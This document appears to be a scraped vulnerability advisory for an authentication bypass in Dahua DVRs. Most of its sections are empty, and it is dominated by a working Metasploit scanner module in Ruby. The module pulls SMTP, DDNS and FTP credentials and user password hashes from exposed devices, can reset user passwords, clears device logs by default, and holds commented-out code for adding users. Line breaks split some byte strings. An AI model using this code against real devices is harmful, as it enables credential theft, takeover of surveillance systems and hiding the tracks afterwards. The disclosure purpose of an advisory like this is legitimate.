29673
29673
--Summary--
--Affects--
--Details--
Dahua web-enabled DVRs utilize fat-client utilities like PSS, mobile client
interfaces like iDMSS, and an ActiveX control, "webrec.cab" for browser-based
access. These clients communicate with an administrative service which runs on TCP
port 37777 by default and can be changed. At least in the case of the ActiveX
control, a simple binary protocol is used. The various commands supported by the
server are not authorized in any way. Authentication simply serves as a way to let
the client transition past the login screen. Various commands can be replayed to
any DVR sans authentication. These include:
--MetaSploit Module--
--Other Concerns--
--Mitigation--
The best advice for now is to make sure these devices are not publicly accessible
to the internet. Dahua initially stated they would work on fixing the issues but
went radio silent afterwards.
--Timeline--
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize
super(
'Name' => 'Dahua DVR Auth Bypas Scanner',
'Version' => '$Revision: 1 $',
'Description' => 'Scans for Dahua-based DVRs and then
grabs settings. Optionally resets a user\'s password and clears the device logs',
'Author' => 'Jake Reynolds - Depth Security',
'License' => MSF_LICENSE
)
deregister_options('RHOST')
register_options(
[
OptString.new('USERNAME', [true, 'A username to reset',
'888888']),
OptString.new('PASSWORD', [true, 'A password to reset the
user with', 'abc123']),
OptBool.new('RESET', [true, 'Reset an existing user\'s
pw?', 'FALSE']),
OptBool.new('CLEAR_LOGS', [true, 'Clear the DVR logs when
we\'re done?', 'TRUE']),
Opt::RPORT(37777)
], self.class)
end
def run_host(ip)
usercount = 0
u1 = "\xa1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
dvr_resp = "\xb1\x00\x00\x58\x00\x00\x00\x00"
version = "\xa4\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\
x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
x00"
email = "\xa3\x00\x00\x00\x00\x00\x00\x00\x63\x6f\x6e\x66\x69\x67\x00\
x00" +
"\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
x00"
ddns = "\xa3\x00\x00\x00\x00\x00\x00\x00\x63\x6f\x6e\x66\x69\x67\x00\
x00" +
"\x8c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
x00"
nas = "\xa3\x00\x00\x00\x00\x00\x00\x00\x63\x6f\x6e\x66\x69\x67\x00\
x00" +
"\x25\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
x00"
channels = "\xa8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
x00\x00" +
"\xa8\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\
x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
x00\x00"
groups = "\xa6\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\
x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
x00"
users = "\xa6\x00\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x00\x00\x00\
x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
x00"
sn = "\xa4\x00\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00"
+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
x00"
clear_logs = "\x60\x00\x00\x00\x00\x00\x00\x00\x90\x00\x00\x00\x00\
x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
x00\x00"
clear_logs2 = "\x60\x00\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x00\
x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
x00\x00"
user = "root"
pass = " w"
user8pwhash = "4WzwxXxM" #888888
user6pwhash = "sh15yfFM" #666666
useradminpwhash = "6QNMIQGe" #admin
connect()
sock.put(u1)
data = sock.recv(8)
disconnect()
if data == dvr_resp
print_good("DVR FOUND: @ #{rhost}:#{rport}!")
report_service(:host => rhost, :port => rport, :sname =>
'dvr', :info => "Dahua-based DVR")
connect()
sock.put(version)
data = sock.get(1024)
if data =~ /[\x00]{8,}([[:print:]]+)/
ver = $1
print_status("Version: #{ver} @ #{rhost}:#{rport}!")
end
sock.put(sn)
data = sock.get(1024)
if data =~ /[\x00]{8,}([[:print:]]+)/
serial = $1
print_status("Serial Number: #{serial} @
#{rhost}:#{rport}!")
end
sock.put(email)
if data = sock.get(1024).split('&&')
print_status("Email Settings: @ #{rhost}:#{rport}!")
if data[0] =~ /([\x00]{8,}(?=.{1,255}$)[0-9A-Za-z](?:(?:[0-
9A-Za-z]|-){0,61}[0-9A-Za-z])?(?:\.[0-9A-Za-z](?:(?:[0-9A-Za-z]|-){0,61}[0-9A-Za-
z])?)*\.?+:\d+)/
if mailhost = $1.split(':')
print_status(" Server: #{mailhost[0]}")
if !mailhost[0].nil?
print_status(" Destination Email:
#{data[1]}") if !mailhost[1].nil?
end
if !data[5].nil? and !data[6].nil?
print_good(" SMTP User: #{data[5]}") if !
data[5].nil?
print_good(" SMTP Password: #{data[6]}")
if !data[6].nil?
report_auth_info(:host => mailhost[0], :port =>
mailhost[1], :user => data[5],
:pass => data[6], :type =>
"Mail", :active => true) if ( !mailhost[0].nil? and
!mailhost[1].nil? and !
data[5].nil? and !data[6].nil? )
end
end
end
sock.put(ddns)
if data = sock.get(1024)
data = data.split(/&&[0-1]&&/)
data.each_with_index {
|val, index|
if index > 0
val = val.split("&&")
print_status("DDNS Settings @
#{rhost}:#{rport}!:")
print_status(" DDNS Service: #{val[0]}")
if !val.nil?
print_status(" DDNS Server: #{val[1]}")
if !val.nil?
print_status(" DDNS Port: #{val[2]}") if !
val.nil?
print_status(" Domain: #{val[3]}") if !
val.nil?
print_good(" Username: #{val[4]}") if !
val.nil?
print_good(" Password: #{val[5]}") if !
val.nil?
report_auth_info(:host => val[1], :port =>
val[2], :user => val[4], :pass => val[5], :type => "DDNS",
:active => true) if ( !val[1].nil?
and !val[2].nil? and !val[4].nil? and !val[5].nil? )
end
}
end
sock.put(nas)
if data = sock.get(1024)
print_status("Nas Settings @ #{rhost}:#{rport}!:")
server = ''
port = ''
if data =~ /[\x00]{8,}[\x01][\x00]{3,3}([\x0-9a-f]{4,4})([\
x0-9a-f]{2,2})/
server = $1.unpack('C*').join('.')
port = $2.unpack('S')
print_status(" Nas Server #{server}")
print_status(" Nas Port: #{port}")
end
if data =~ /[\x00]{16,}([[:print:]]+)[\x00]{16,}
([[:print:]]+)/
ftpuser = $1
ftppass = $2
print_good(" FTP User: #{ftpuser}")
print_good(" FTP Password: #{ftppass}")
#report_auth_info(:host => server, :port =>
port, :user => ftpuser, :pass => ftppass, :type => "FTP",
#:active => true) if ( !server.nil? and !
port.nil? and !ftpuser.nil? and !ftppass.nil? )
end
end
sock.put(channels)
data = sock.get(1024).split('&&')
disconnect()
if (data.length > 1)
print_status("Camera Channels @ #{rhost}:#{rport}!:")
data.each_with_index {
|val, index|
print_status(" #{index+1}:#{val[/([[:print:]]
+)/]}")
}
end
connect()
sock.put(users)
if data = sock.get(1024).split('&&')
print_status("Users\\Hashed Passwords\\Rights\\Description:
@ #{rhost}:#{rport}!")
data.each {
|val|
usercount += 1
print_status(" #{val[/(([\d]+)[:]([[:print:]]
+))/]}")
}
end
sock.put(groups)
if data = sock.get(1024).split('&&')
print_status("User Groups: @ #{rhost}:#{rport}!")
data.each {
|val|
print_status(" #{val[/(([\d]+)[:]([\w]+))/]}")
}
end
if (datastore['RESET'])
userstring = datastore['USERNAME'] + ":Intel:" +
datastore['PASSWORD'] +
":" + datastore['PASSWORD']
u1 = "\xa4\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00\x00\
x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
x00\x00\x00"
u2 = "\xa4\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\
x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
x00\x00\x00"
u3 = "\xa6\x00\x00\x00#{userstring.length.chr}\x00\x00\x00\
x0a\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
x00\x00\x00" +
userstring
sock.put(u1)
data = sock.get(1024)
sock.put(u2)
data = sock.get(1024)
sock.put(u3)
data = sock.get(1024)
sock.put(u1)
if data = sock.get(1024)
print_good("PASSWORD RESET!: user
#{datastore['USERNAME']}'s password reset to #{datastore['PASSWORD']}! @
#{rhost}:#{rport}!")
end
# elsif (datastore['ACTION'] == "DELETE")
# u1 = "\xa4\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\
x00\x00\x00" +
# "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
x00\x00\x00"
# u2 = "\xa4\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00\x00\
x00\x00\x00" +
# "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
x00\x00\x00"
# delete = "\xa6\x00\x00\
x00#{datastore['USERNAME'].length.chr}\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00"
+
# "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
x00\x00\x00\x00" +
# datastore['USERNAME']
# print delete
# sock.send(u1, 0)
# sock.get_once
# sock.send(delete, 0)
# sock.get_once
# sock.send(u2, 0)
# sock.get_once
#
#
# elsif (datastore['ACTION'] == "ADD")
# userstring = (usercount + 1).to_s + ":" +
datastore['USERNAME'] + ":" + datastore['PASSWORD']
# userstring << "\x3a\x31\x3a\x31\x2c\x32\x2c\x33\x2c\x34\
x2c\x35\x2c\x36\x2c\x37" +
# "\x2c\x38\x2c\x39\x2c\x31\x30\x2c\x31\x31\x2c\x32\x30\
x2c\x32\x31" +
# "\x2c\x32\x32\x2c\x32\x33\x2c\x32\x34\x2c\x32\x35\x2c\
x32\x36\x2c" +
# "\x32\x37\x2c\x32\x38\x2c\x33\x37\x2c\x33\x38\x2c\x33\
x39\x2c\x34" +
# "\x30\x2c\x34\x32\x2c\x34\x33\x2c\x34\x34\x2c\x34\x35\
x2c\x34\x36" +
# "\x2c\x34\x37\x2c\x34\x38\x2c\x34\x39\x2c\x35\x30\x2c\
x35\x31\x2c" +
# "\x35\x32\x2c\x35\x33\x2c\x35\x34\x2c\x35\x35\x2c\x35\
x36\x2c\x35" +
# "\x37\x2c\x35\x38\x2c\x35\x39\x2c\x36\x30\x3a\x3a\x31"
#
# u2 = "\xa4\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00\x00\
x00\x00\x00" +
# "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
x00\x00\x00"
# u3 = "\xa4\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\
x00\x00\x00" +
# "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
x00\x00\x00"
# u4 = "\xa6\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\
x00\x00\x00" +
# "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
x00\x00\x00"
# u5 = "\xa6\x00\x00\x00#{userstring.length.chr}\x00\x00\x00\
x06\x00\x00\x00\x00\x00\x00\x00" +
# "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
x00\x00\x00" +
# userstring
# sock.put(u1)
# sock.get(1024)
# sock.put(u1)
# sock.get(1024)
# sock.put(u2)
# sock.get(1024)
# sock.put(u3)
# sock.get(1024)
# sock.put(u2)
# sock.get(1024)
# sock.put(u3)
# sock.get(1024)
# sock.put(u4)
# sock.get(1024)
# sock.put(groups)
# sock.get(1024)
# sock.put(users)
# sock.get(1024)
# sock.put(u5)
# sock.get(1024)
# sock.put(u2)
# sock.get(1024)
# sock.put(u3)
# sock.get(1024)
# sock.put(u4)
# sock.put(1024)
# sock.put(groups)
# sock.get(1024)
# sock.put(users)
# sock.put(1024)
# print_good("ADDED USER!: user #{datastore['USERNAME']}'s
password is #{datastore['PASSWORD']}")
#
# else
end
if (datastore['CLEAR_LOGS'])
sock.put(clear_logs)
sock.put(clear_logs2)
print_good("LOGS CLEARED! @ #{rhost}:#{rport}")
end
disconnect()
end
end
end